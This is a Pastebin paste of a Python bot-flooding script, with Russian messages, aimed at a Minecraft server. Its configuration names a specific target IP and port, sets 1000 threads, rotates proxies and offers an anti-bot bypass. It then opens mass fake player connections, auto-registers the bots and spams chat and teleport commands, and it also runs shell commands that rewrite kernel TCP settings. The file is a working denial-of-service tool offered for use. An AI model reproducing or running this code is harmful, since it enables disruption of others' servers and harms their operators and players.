SHARE
TWEET

Untitled

a guest Dec 13th, 2016 210 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #coding: utf-8
  2.  
  3. #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Configuration-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
  4.  
  5. host = '92.222.92.30'
  6. port = 25565
  7. proxy = False
  8. sockets = 200 # 1-100
  9. version18 = True # for 1.8 only servers
  10. proxy_type = 'SOCKS' # SOCKS or HTTP
  11. threads = 1000 # 1-5000
  12. chat = False # chat module. True or False
  13. messages = ['/jobs', '/c', '/region claim', '/tpa dos', '/balance'] # spam messages
  14. tpa = True # tp request, True or False
  15. tpa_cmd = '/tpa sosay' # only if tpa = True
  16. antibot_bypass = False # True or False. sleep 3 seconds after new bot
  17.  
  18. #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44. # dont touch this
  45. from threading import Thread
  46. import socket, struct, sys, time, random, re, string, os
  47. try: f = open('proxy.txt', 'r').readlines()
  48. except Exception:
  49.     print('[\x1b[31mCRITICAL\x1b[0m] proxy.txt не найден!')
  50.     exit()
  51. print('ge7ara top')
  52. time.sleep(.5)
  53. import socket
  54. import struct
  55. from errno import EOPNOTSUPP, EINVAL, EAGAIN
  56. from io import BytesIO
  57. from os import SEEK_CUR
  58. from collections import Callable
  59.  
  60. PROXY_TYPE_SOCKS4 = SOCKS4 = 1
  61. PROXY_TYPE_SOCKS5 = SOCKS5 = 2
  62. PROXY_TYPE_HTTP = HTTP = 3
  63.  
  64. PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP}
  65. PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys()))
  66.  
  67. _orgsocket = _orig_socket = socket.socket
  68.  
  69. class ProxyError(IOError):
  70.     """
  71.     socket_err contains original socket.error exception.
  72.     """
  73.     def __init__(self, msg, socket_err=None):
  74.         self.msg = msg
  75.         self.socket_err = socket_err
  76.  
  77.         if socket_err:
  78.             self.msg += ": {0}".format(socket_err)
  79.  
  80.     def __str__(self):
  81.         return self.msg
  82.  
  83. class GeneralProxyError(ProxyError): pass
  84. class ProxyConnectionError(ProxyError): pass
  85. class SOCKS5AuthError(ProxyError): pass
  86. class SOCKS5Error(ProxyError): pass
  87. class SOCKS4Error(ProxyError): pass
  88. class HTTPError(ProxyError): pass
  89.  
  90. SOCKS4_ERRORS = { 0x5B: "Request rejected or failed",
  91.                   0x5C: "Request rejected because SOCKS server cannot connect to identd on the client",
  92.                   0x5D: "Request rejected because the client program and identd report different user-ids"
  93.                 }
  94.  
  95. SOCKS5_ERRORS = { 0x01: "General SOCKS server failure",
  96.                   0x02: "Connection not allowed by ruleset",
  97.                   0x03: "Network unreachable",
  98.                   0x04: "Host unreachable",
  99.                   0x05: "Connection refused",
  100.                   0x06: "TTL expired",
  101.                   0x07: "Command not supported, or protocol error",
  102.                   0x08: "Address type not supported"
  103.                 }
  104.  
  105. DEFAULT_PORTS = { SOCKS4: 1080,
  106.                   SOCKS5: 1080,
  107.                   HTTP: 8080
  108.                 }
  109.  
  110. def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None):
  111.     socksocket.default_proxy = (proxy_type, addr, port, rdns,
  112.                                 username.encode() if username else None,
  113.                                 password.encode() if password else None)
  114.  
  115. setdefaultproxy = set_default_proxy
  116.  
  117. def get_default_proxy():
  118.     """
  119.     Returns the default proxy, set by set_default_proxy.
  120.     """
  121.     return socksocket.default_proxy
  122.  
  123. getdefaultproxy = get_default_proxy
  124.  
  125. def wrap_module(module):
  126.     if socksocket.default_proxy:
  127.         module.socket.socket = socksocket
  128.     else:
  129.         raise GeneralProxyError("No default proxy specified")
  130.  
  131. wrapmodule = wrap_module
  132.  
  133. def create_connection(dest_pair, proxy_type=None, proxy_addr=None,
  134.                       proxy_port=None, proxy_rdns=True,
  135.                       proxy_username=None, proxy_password=None,
  136.                       timeout=None, source_address=None):
  137.     sock = socksocket()
  138.     if isinstance(timeout, (int, float)):
  139.         sock.settimeout(timeout)
  140.     if proxy_type is not None:
  141.         sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns,
  142.                        proxy_username, proxy_password)
  143.     sock.connect(dest_pair)
  144.     return sock
  145.  
  146. class _BaseSocket(socket.socket):
  147.     """Allows Python 2's "delegated" methods such as send() to be overridden
  148.     """
  149.     def __init__(self, *pos, **kw):
  150.         _orig_socket.__init__(self, *pos, **kw)
  151.  
  152.         self._savedmethods = dict()
  153.         for name in self._savenames:
  154.             self._savedmethods[name] = getattr(self, name)
  155.             delattr(self, name)  # Allows normal overriding mechanism to work
  156.  
  157.     _savenames = list()
  158.  
  159. def _makemethod(name):
  160.     return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw)
  161. for name in ("sendto", "send", "recvfrom", "recv"):
  162.     method = getattr(_BaseSocket, name, None)
  163.  
  164.     # Determine if the method is not defined the usual way
  165.     # as a function in the class.
  166.     # Python 2 uses __slots__, so there are descriptors for each method,
  167.     # but they are not functions.
  168.     if not isinstance(method, Callable):
  169.         _BaseSocket._savenames.append(name)
  170.         setattr(_BaseSocket, name, _makemethod(name))
  171.  
  172. class socksocket(_BaseSocket):
  173.     """socksocket([family[, type[, proto]]]) -> socket object
  174.  
  175.     Open a SOCKS enabled socket. The parameters are the same as
  176.     those of the standard socket init. In order for SOCKS to work,
  177.     you must specify family=AF_INET and proto=0.
  178.     The "type" argument must be either SOCK_STREAM or SOCK_DGRAM.
  179.     """
  180.  
  181.     default_proxy = None
  182.  
  183.     def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs):
  184.         if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM):
  185.             msg = "Socket type must be stream or datagram, not {!r}"
  186.             raise ValueError(msg.format(type))
  187.  
  188.         _BaseSocket.__init__(self, family, type, proto, *args, **kwargs)
  189.         self._proxyconn = None  # TCP connection to keep UDP relay alive
  190.  
  191.         if self.default_proxy:
  192.             self.proxy = self.default_proxy
  193.         else:
  194.             self.proxy = (None, None, None, None, None, None)
  195.         self.proxy_sockname = None
  196.         self.proxy_peername = None
  197.  
  198.     def _readall(self, file, count):
  199.         """
  200.         Receive EXACTLY the number of bytes requested from the file object.
  201.         Blocks until the required number of bytes have been received.
  202.         """
  203.         data = b""
  204.         while len(data) < count:
  205.             d = file.read(count - len(data))
  206.             if not d:
  207.                 raise GeneralProxyError("Connection closed unexpectedly")
  208.             data += d
  209.         return data
  210.  
  211.     def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None):
  212.         self.proxy = (proxy_type, addr, port, rdns,
  213.                       username.encode() if username else None,
  214.                       password.encode() if password else None)
  215.  
  216.     setproxy = set_proxy
  217.  
  218.     def bind(self, *pos, **kw):
  219.         """
  220.         Implements proxy connection for UDP sockets,
  221.         which happens during the bind() phase.
  222.         """
  223.         proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy
  224.         if not proxy_type or self.type != socket.SOCK_DGRAM:
  225.             return _orig_socket.bind(self, *pos, **kw)
  226.  
  227.         if self._proxyconn:
  228.             raise socket.error(EINVAL, "Socket already bound to an address")
  229.         if proxy_type != SOCKS5:
  230.             msg = "UDP only supported by SOCKS5 proxy type"
  231.             raise socket.error(EOPNOTSUPP, msg)
  232.         _BaseSocket.bind(self, *pos, **kw)
  233.         _, port = self.getsockname()
  234.         dst = ("0", port)
  235.  
  236.         self._proxyconn = _orig_socket()
  237.         proxy = self._proxy_addr()
  238.         self._proxyconn.connect(proxy)
  239.  
  240.         UDP_ASSOCIATE = b"\x03"
  241.         _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst)
  242.  
  243.         # The relay is most likely on the same host as the SOCKS proxy,
  244.         # but some proxies return a private IP address (10.x.y.z)
  245.         host, _ = proxy
  246.         _, port = relay
  247.         _BaseSocket.connect(self, (host, port))
  248.         self.proxy_sockname = ("0.0.0.0", 0)  # Unknown
  249.  
  250.     def sendto(self, bytes, *args, **kwargs):
  251.         if self.type != socket.SOCK_DGRAM:
  252.             return _BaseSocket.sendto(self, bytes, *args, **kwargs)
  253.         if not self._proxyconn:
  254.             self.bind(("", 0))
  255.  
  256.         address = args[-1]
  257.         flags = args[:-1]
  258.  
  259.         header = BytesIO()
  260.         RSV = b"\x00\x00"
  261.         header.write(RSV)
  262.         STANDALONE = b"\x00"
  263.         header.write(STANDALONE)
  264.         self._write_SOCKS5_address(address, header)
  265.  
  266.         sent = _BaseSocket.send(self, header.getvalue() + bytes, *flags, **kwargs)
  267.         return sent - header.tell()
  268.  
  269.     def send(self, bytes, flags=0, **kwargs):
  270.         if self.type == socket.SOCK_DGRAM:
  271.             return self.sendto(bytes, flags, self.proxy_peername, **kwargs)
  272.         else:
  273.             return _BaseSocket.send(self, bytes, flags, **kwargs)
  274.  
  275.     def recvfrom(self, bufsize, flags=0):
  276.         if self.type != socket.SOCK_DGRAM:
  277.             return _BaseSocket.recvfrom(self, bufsize, flags)
  278.         if not self._proxyconn:
  279.             self.bind(("", 0))
  280.  
  281.         buf = BytesIO(_BaseSocket.recv(self, bufsize, flags))
  282.         buf.seek(+2, SEEK_CUR)
  283.         frag = buf.read(1)
  284.         if ord(frag):
  285.             raise NotImplementedError("Received UDP packet fragment")
  286.         fromhost, fromport = self._read_SOCKS5_address(buf)
  287.  
  288.         if self.proxy_peername:
  289.             peerhost, peerport = self.proxy_peername
  290.             if fromhost != peerhost or peerport not in (0, fromport):
  291.                 raise socket.error(EAGAIN, "Packet filtered")
  292.  
  293.         return (buf.read(), (fromhost, fromport))
  294.  
  295.     def recv(self, *pos, **kw):
  296.         bytes, _ = self.recvfrom(*pos, **kw)
  297.         return bytes
  298.  
  299.     def close(self):
  300.         if self._proxyconn:
  301.             self._proxyconn.close()
  302.         return _BaseSocket.close(self)
  303.  
  304.     def get_proxy_sockname(self):
  305.         """
  306.         Returns the bound IP address and port number at the proxy.
  307.         """
  308.         return self.proxy_sockname
  309.  
  310.     getproxysockname = get_proxy_sockname
  311.  
  312.     def get_proxy_peername(self):
  313.         """
  314.         Returns the IP and port number of the proxy.
  315.         """
  316.         return _BaseSocket.getpeername(self)
  317.  
  318.     getproxypeername = get_proxy_peername
  319.  
  320.     def get_peername(self):
  321.         """
  322.         Returns the IP address and port number of the destination
  323.         machine (note: get_proxy_peername returns the proxy)
  324.         """
  325.         return self.proxy_peername
  326.  
  327.     getpeername = get_peername
  328.  
  329.     def _negotiate_SOCKS5(self, *dest_addr):
  330.         """
  331.         Negotiates a stream connection through a SOCKS5 server.
  332.         """
  333.         CONNECT = b"\x01"
  334.         self.proxy_peername, self.proxy_sockname = self._SOCKS5_request(self,
  335.             CONNECT, dest_addr)
  336.  
  337.     def _SOCKS5_request(self, conn, cmd, dst):
  338.         """
  339.         Send SOCKS5 request with given command (CMD field) and
  340.         address (DST field). Returns resolved DST address that was used.
  341.         """
  342.         proxy_type, addr, port, rdns, username, password = self.proxy
  343.  
  344.         writer = conn.makefile("wb")
  345.         reader = conn.makefile("rb", 0)
  346.         try:
  347.             if username and password:
  348.                 writer.write(b"\x05\x02\x00\x02")
  349.             else:
  350.                 writer.write(b"\x05\x01\x00")
  351.             writer.flush()
  352.             chosen_auth = self._readall(reader, 2)
  353.  
  354.             if chosen_auth[0:1] != b"\x05":
  355.                 raise GeneralProxyError("SOCKS5 proxy server sent invalid data")
  356.  
  357.             if chosen_auth[1:2] == b"\x02":
  358.                 writer.write(b"\x01" + chr(len(username)).encode()
  359.                              + username
  360.                              + chr(len(password)).encode()
  361.                              + password)
  362.                 writer.flush()
  363.                 auth_status = self._readall(reader, 2)
  364.                 if auth_status[0:1] != b"\x01":
  365.                     raise GeneralProxyError("SOCKS5 proxy server sent invalid data")
  366.                 if auth_status[1:2] != b"\x00":
  367.                     raise SOCKS5AuthError("SOCKS5 authentication failed")
  368.  
  369.             elif chosen_auth[1:2] != b"\x00":
  370.                 if chosen_auth[1:2] == b"\xFF":
  371.                     raise SOCKS5AuthError("All offered SOCKS5 authentication methods were rejected")
  372.                 else:
  373.                     raise GeneralProxyError("SOCKS5 proxy server sent invalid data")
  374.  
  375.             writer.write(b"\x05" + cmd + b"\x00")
  376.             resolved = self._write_SOCKS5_address(dst, writer)
  377.             writer.flush()
  378.  
  379.             resp = self._readall(reader, 3)
  380.             if resp[0:1] != b"\x05":
  381.                 raise GeneralProxyError("SOCKS5 proxy server sent invalid data")
  382.  
  383.             status = ord(resp[1:2])
  384.             if status != 0x00:
  385.                 error = SOCKS5_ERRORS.get(status, "Unknown error")
  386.                 raise SOCKS5Error("{0:#04x}: {1}".format(status, error))
  387.             bnd = self._read_SOCKS5_address(reader)
  388.             return (resolved, bnd)
  389.         finally:
  390.             reader.close()
  391.             writer.close()
  392.  
  393.     def _write_SOCKS5_address(self, addr, file):
  394.         host, port = addr
  395.         proxy_type, _, _, rdns, username, password = self.proxy
  396.         try:
  397.             addr_bytes = socket.inet_aton(host)
  398.             file.write(b"\x01" + addr_bytes)
  399.             host = socket.inet_ntoa(addr_bytes)
  400.         except socket.error:
  401.             if rdns:
  402.                 host_bytes = host.encode('idna')
  403.                 file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes)
  404.             else:
  405.                 addr_bytes = socket.inet_aton(socket.gethostbyname(host))
  406.                 file.write(b"\x01" + addr_bytes)
  407.                 host = socket.inet_ntoa(addr_bytes)
  408.  
  409.         file.write(struct.pack(">H", port))
  410.         return host, port
  411.  
  412.     def _read_SOCKS5_address(self, file):
  413.         atyp = self._readall(file, 1)
  414.         if atyp == b"\x01":
  415.             addr = socket.inet_ntoa(self._readall(file, 4))
  416.         elif atyp == b"\x03":
  417.             length = self._readall(file, 1)
  418.             addr = self._readall(file, ord(length))
  419.         else:
  420.             raise GeneralProxyError("SOCKS5 proxy server sent invalid data")
  421.  
  422.         port = struct.unpack(">H", self._readall(file, 2))[0]
  423.         return addr, port
  424.  
  425.     def _negotiate_SOCKS4(self, dest_addr, dest_port):
  426.         proxy_type, addr, port, rdns, username, password = self.proxy
  427.  
  428.         writer = self.makefile("wb")
  429.         reader = self.makefile("rb", 0)  
  430.         try:
  431.             remote_resolve = False
  432.             try:
  433.                 addr_bytes = socket.inet_aton(dest_addr)
  434.             except socket.error:
  435.                 if rdns:
  436.                     addr_bytes = b"\x00\x00\x00\x01"
  437.                     remote_resolve = True
  438.                 else:
  439.                     addr_bytes = socket.inet_aton(socket.gethostbyname(dest_addr))
  440.  
  441.             writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port))
  442.             writer.write(addr_bytes)
  443.             if username:
  444.                 writer.write(username)
  445.             writer.write(b"\x00")
  446.             if remote_resolve:
  447.                 writer.write(dest_addr.encode('idna') + b"\x00")
  448.             writer.flush()
  449.  
  450.             resp = self._readall(reader, 8)
  451.             if resp[0:1] != b"\x00":
  452.                 raise GeneralProxyError("SOCKS4 proxy server sent invalid data")
  453.  
  454.             status = ord(resp[1:2])
  455.             if status != 0x5A:
  456.                 error = SOCKS4_ERRORS.get(status, "Unknown error")
  457.                 raise SOCKS4Error("{0:#04x}: {1}".format(status, error))
  458.  
  459.             self.proxy_sockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0])
  460.             if remote_resolve:
  461.                 self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port
  462.             else:
  463.                 self.proxy_peername = dest_addr, dest_port
  464.         finally:
  465.             reader.close()
  466.             writer.close()
  467.  
  468.     def _negotiate_HTTP(self, dest_addr, dest_port):
  469.         """
  470.         Negotiates a connection through an HTTP server.
  471.         NOTE: This currently only supports HTTP CONNECT-style proxies.
  472.         """
  473.         proxy_type, addr, port, rdns, username, password = self.proxy
  474.  
  475.         # If we need to resolve locally, we do this now
  476.         addr = dest_addr if rdns else socket.gethostbyname(dest_addr)
  477.  
  478.         self.sendall(b"CONNECT " + addr.encode('idna') + b":" + str(dest_port).encode() +
  479.                      b" HTTP/1.1\r\n" + b"Host: " + dest_addr.encode('idna') + b"\r\n\r\n")
  480.  
  481.         # We just need the first line to check if the connection was successful
  482.         fobj = self.makefile()
  483.         status_line = fobj.readline()
  484.         fobj.close()
  485.  
  486.         if not status_line:
  487.             raise GeneralProxyError("Connection closed unexpectedly")
  488.  
  489.         try:
  490.             proto, status_code, status_msg = status_line.split(" ", 2)
  491.         except ValueError:
  492.             raise GeneralProxyError("HTTP proxy server sent invalid response")
  493.  
  494.         if not proto.startswith("HTTP/"):
  495.             raise GeneralProxyError("Proxy server does not appear to be an HTTP proxy")
  496.  
  497.         try:
  498.             status_code = int(status_code)
  499.         except ValueError:
  500.             raise HTTPError("HTTP proxy server did not return a valid HTTP status")
  501.  
  502.         self.proxy_sockname = (b"0.0.0.0", 0)
  503.         self.proxy_peername = addr, dest_port
  504.  
  505.     _proxy_negotiators = {
  506.                            SOCKS4: _negotiate_SOCKS4,
  507.                            SOCKS5: _negotiate_SOCKS5,
  508.                            HTTP: _negotiate_HTTP
  509.                          }
  510.  
  511.  
  512.     def connect(self, dest_pair):
  513.         """
  514.         Connects to the specified destination through a proxy.
  515.         Uses the same API as socket's connect().
  516.         To select the proxy server, use set_proxy().
  517.  
  518.         dest_pair - 2-tuple of (IP/hostname, port).
  519.         """
  520.         dest_addr, dest_port = dest_pair
  521.  
  522.         if self.type == socket.SOCK_DGRAM:
  523.             if not self._proxyconn:
  524.                 self.bind(("", 0))
  525.             dest_addr = socket.gethostbyname(dest_addr)
  526.  
  527.             # If the host address is INADDR_ANY or similar, reset the peer
  528.             # address so that packets are received from any peer
  529.             if dest_addr == "0.0.0.0" and not dest_port:
  530.                 self.proxy_peername = None
  531.             else:
  532.                 self.proxy_peername = (dest_addr, dest_port)
  533.             return
  534.  
  535.         proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy
  536.  
  537.         # Do a minimal input check first
  538.         if (not isinstance(dest_pair, (list, tuple))
  539.                 or len(dest_pair) != 2
  540.                 or not dest_addr
  541.                 or not isinstance(dest_port, int)):
  542.             raise GeneralProxyError("Invalid destination-connection (host, port) pair")
  543.  
  544.  
  545.         if proxy_type is None:
  546.             # Treat like regular socket object
  547.             self.proxy_peername = dest_pair
  548.             _BaseSocket.connect(self, (dest_addr, dest_port))
  549.             return
  550.  
  551.         proxy_addr = self._proxy_addr()
  552.  
  553.         try:
  554.             # Initial connection to proxy server
  555.             _BaseSocket.connect(self, proxy_addr)
  556.  
  557.         except socket.error as error:
  558.             # Error while connecting to proxy
  559.             self.close()
  560.             proxy_addr, proxy_port = proxy_addr
  561.             proxy_server = "{0}:{1}".format(proxy_addr, proxy_port)
  562.             printable_type = PRINTABLE_PROXY_TYPES[proxy_type]
  563.  
  564.             msg = "Error connecting to proxy "#.format(printable_type,
  565.                                                 #          proxy_server)
  566.             raise ProxyConnectionError(msg, error)
  567.  
  568.         else:
  569.             # Connected to proxy server, now negotiate
  570.             try:
  571.                 # Calls negotiate_{SOCKS4, SOCKS5, HTTP}
  572.                 negotiate = self._proxy_negotiators[proxy_type]
  573.                 negotiate(self, dest_addr, dest_port)
  574.             except socket.error as error:
  575.                 # Wrap socket errors
  576.                 self.close()
  577.                 raise GeneralProxyError("Socket error", error)
  578.             except ProxyError:
  579.                 # Protocol error while negotiating with proxy
  580.                 self.close()
  581.                 raise
  582.  
  583.     def _proxy_addr(self):
  584.         """
  585.         Return proxy address to connect to as tuple object
  586.         """
  587.         proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy
  588.         proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type)
  589.         if not proxy_port:
  590.             raise GeneralProxyError("Invalid proxy type")
  591.         return proxy_addr, proxy_port
  592.  
  593. # fix os limits
  594. os.system('ulimit -n 65535')
  595. os.system('echo 15 > /proc/sys/net/ipv4/tcp_fin_timeout')
  596. os.system('echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse')
  597. os.system('echo 1024 65535 > /proc/sys/net/ipv4/ip_local_port_range')
  598.  
  599. try: host = list(socket.gethostbyname_ex(host))[2][0]
  600. except Exception as e:
  601.     print('[\x1b[31mCRITICAL\x1b[0m] Невозможно определить IP домена! Укажите циферный IP вручную.')
  602.     exit()
  603. print('[INFO] Starting attack to IP: {0}'.format(host))
  604.  
  605. socket.setdefaulttimeout(4)
  606. choose = 0
  607.  
  608. def proxier():
  609.     global choose
  610.     choose += 1
  611.     if choose >= len(f):
  612.         choose = 0
  613.     return f[choose]
  614. def data_pack(data): return varint_pack(len(data)) + data
  615. def string_pack(string): return data_pack(string)
  616. def varint_pack(val):
  617.     if val >= (1<<31) or val < -(1<<31): return None
  618.     o = b''
  619.     if val < 0: val += 1<<32
  620.     while val >= 0x80:
  621.         bits = val & 0x7F
  622.         val >>= 7
  623.         o += struct.pack('B', (0x80 | bits))
  624.     bits = val&0x7F
  625.     o += struct.pack('B', bits)
  626.     return o
  627. nicks = []
  628.  
  629. if chat: # pregenerate nicknames
  630.     try:
  631.         nicks = open('nicks', 'r').readlines()
  632.         print('[INFO] Loaded %d nicks from file!' % (len(nicks)))
  633.         print('[INFO] Starting connecting to server...\n')
  634.     except Exception:
  635.         print('[INFO] Starting generating nicknames...')
  636.         for i in range(5000): # 5000 - your proxy count
  637.             if random.randint(1,2) == 1:
  638.                 nicks.append(str(random.randint(1000,10000000)) + ''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(random.randint(1,6))))
  639.                 print('[INFO] Nick %d generated!' % (i))
  640.             else:
  641.                 nicks.append(''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(random.randint(3,8))) + str(random.randint(100,10000000)))
  642.                 print('[INFO] Nick %d generated!' % (i))
  643.         print('[INFO] Nicks generated!')
  644.         for nick in nicks:
  645.             print('[INFO] Nick %s saved!' % (nick))
  646.             open('nicks','a').write(nick + '\n')
  647.         print('[INFO] All nicks generated and saved!')
  648.         print('[INFO] Starting connecting to server...\n')
  649.  
  650. connects = 0
  651. packedport = struct.pack('>H', port)
  652. packedhost = data_pack(bytes(host))
  653.  
  654. def gastbot():
  655.     global connects
  656.     while 1:
  657.         for i in range(sockets):
  658.             m = re.search('(?:http.*://)?(?P<host>[^:/ ]+).?(?P<port>[0-9]*).*', proxier())
  659.             locals()["s" + str(i)] = socksocket()
  660.             if proxy:
  661.                 if proxy_type == 'SOCKS': exec("s" + str(i) + ".setproxy(PROXY_TYPE_SOCKS4, m.group('host'), int(m.group('port')))") in globals(), locals()
  662.                 else: exec("s" + str(i) + ".setproxy(PROXY_TYPE_HTTP, m.group('host'), int(m.group('port')))") in globals(), locals()
  663.         for socknum in range(sockets):
  664.             username = ''
  665.             if random.randint(1,2) == 1: username = str(random.randint(100,10000000)) + ''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(random.randint(1,7)))
  666.             else: username = ''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(random.randint(3,7))) + str(random.randint(100,10000000))
  667.             if chat: username = random.choice(nicks).replace('\n', '')
  668.             try:  
  669.                 sock1 = eval('s'+str(socknum))
  670.                 sock1.connect((host, int(port)))
  671.                 sock1.setblocking(0)
  672.                 connects += 1
  673.                 print('[{0}@{1}] Connected!'.format(connects, username))
  674.                 if version18: sock1.sendall(data_pack(b"\x00" + b"/\r94.23.174.199c\xdd\x02"))
  675.                 else: sock1.sendall(data_pack(b"\x00\x05" + data_pack(bytes(host)) + struct.pack('>H', port) + b"\x02"))
  676.                 sock1.sendall(data_pack(b"\x00" + string_pack(username)))
  677.                 if chat:
  678.                     time.sleep(1)
  679.                     sock1.send(data_pack(b"\x01" + string_pack('/register {0} {1}'.format(username, username))))
  680.                     time.sleep(1)
  681.                     sock1.send(data_pack(b"\x01" + string_pack('/login {0}'.format(username))))
  682.                     print('[{0}@{1}] Registered!'.format(connects, username))
  683.                     if tpa:
  684.                         time.sleep(1)
  685.                         sock1.send(data_pack(b"\x01" + string_pack(str(tpa_cmd))))
  686.                         print('[{0}@{1}] TP request sended!'.format(connects, username))
  687.                     for m in range(300):
  688.                         s = random.choice(messages)
  689.                         time.sleep(random.randint(10,35))
  690.                         if s[:1] != '/': sock1.send(data_pack(b"\x01" + string_pack('!{1} {0}'.format(str(s), random.randint(1,50)))))
  691.                         else: sock1.send(data_pack(b"\x01" + string_pack('{0} {1}'.format(str(s), random.randint(1,50)))))
  692.                         print('[{0}@{1}] [Chat@{3}] {2}'.format(connects, username, str(random.choice(messages)), m+1))
  693.             except Exception as err:
  694.                 time.sleep(1)
  695.                 close = eval('s'+str(socknum))
  696.                 close.close()
  697.                 print("[\x1b[31mWARN\x1b[0m] [{0}@{1}] Не удалось подключиться к серверу: {2}".format(connects, username, err))
  698. for i in range(threads):
  699.     Thread(target=gastbot).start()
  700.     if antibot_bypass: time.sleep(0.3)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top